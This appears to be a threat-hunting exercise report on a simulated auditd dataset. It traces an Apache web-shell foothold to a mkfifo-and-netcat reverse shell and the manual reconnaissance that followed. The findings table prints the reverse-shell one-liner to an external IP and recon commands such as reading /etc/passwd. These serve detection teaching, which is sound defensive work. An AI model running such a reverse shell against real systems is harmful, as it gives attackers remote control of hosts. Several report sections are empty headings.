← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Linux Reverse Shell Netcat Mkfifo Dataset

This hunt uses a simulated Linux auditd dataset (linux_auditd_ncshell_2022-10-02T023000.json) capturing T1059.004: Command and Scripting Interpreter (Unix Shell) combined with T1071: Application Layer Protocol, where an attacker with initial code execution creates a named pipe (mkfifo) and pipes it through /bin/sh and nc to establish an interactive reverse shell back to attacker infrastructure.

Step 1: Hypothesis Formation

Hypothesis: A process chain creates a named pipe in a temp directory, then executes a command piping /bin/sh -i input/output through that pipe into nc/ncat connecting to an external IP on a non-standard port - the classic named-pipe reverse-shell one-liner - indicating an attacker has established interactive remote command execution. Indicators:

Null Hypothesis: A system administrator or DevOps engineer is legitimately using a named-pipe-based shell for authorized remote troubleshooting via an approved bastion/jump host. Invalidate by confirming the destination IP against the approved jump-host inventory and the initiating account against on-call/change records.

Rationale: The mkfifo+nc reverse shell is one of the most common post-exploitation techniques taught and used precisely because it requires no additional tooling beyond what's present on nearly every Linux system, so process-chain-based detection (independent of any specific malware signature) is essential.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm an Apache worker process, already running attacker-controlled PHP from a web-shell foothold, spawned the canonical mkfifo+nc reverse-shell one-liner, establishing an interactive outbound connection to attacker infrastructure.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-10-02 02:33:04srv-app-22auditd EXECVE`sh -c "mkfifo /tmp/.s; cat /tmp/.s/bin/sh -i 2>&1nc 91.245.12.30 4444 > /tmp/.s" parent PID resolves to apache2`Reverse-Shell-Chain IOC: this exact construct is the textbook named-pipe reverse shell; a web server process is never expected to spawn interactive shells piped through netcat.
2022-10-02 02:33:04srv-app-22auditd SYSCALLmkfifo creates /tmp/.s, a hidden, generically-named file in the world-writable /tmp directoryStaging IOC: hidden, non-descriptive named pipes in /tmp are a strong indicator of manually-crafted shell tooling rather than legitimate application temp files.
2022-10-02 02:33:04srv-app-22auditd EXECVEnc 91.245.12.30 4444 established an outbound TCP connection lasting 47 minutes with bidirectional trafficC2-Session IOC: a sustained, interactive-length TCP session to an unrecognized external IP on a non-standard port from a web server is highly anomalous.
2022-10-02 02:34:10srv-app-22auditd EXECVECommands executed through the shell include whoami, id, cat /etc/passwd, find / -writable -type d 2>/dev/nullInteractive-Recon IOC: the command sequence and cadence (manual, exploratory) confirms a live, human-operated interactive session rather than automated malware.
-srv-app-22(web log correlation)Access log shows a POST request to /uploads/shell.php from 91.245.12.30 four minutes before the reverse shell was establishedTies the reverse shell directly back to a web-shell upload as the initial access vector.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - an attacker who uploaded a web shell used the classic mkfifo-and-netcat one-liner to establish a 47-minute interactive reverse shell, conducting live manual reconnaissance on the compromised web server!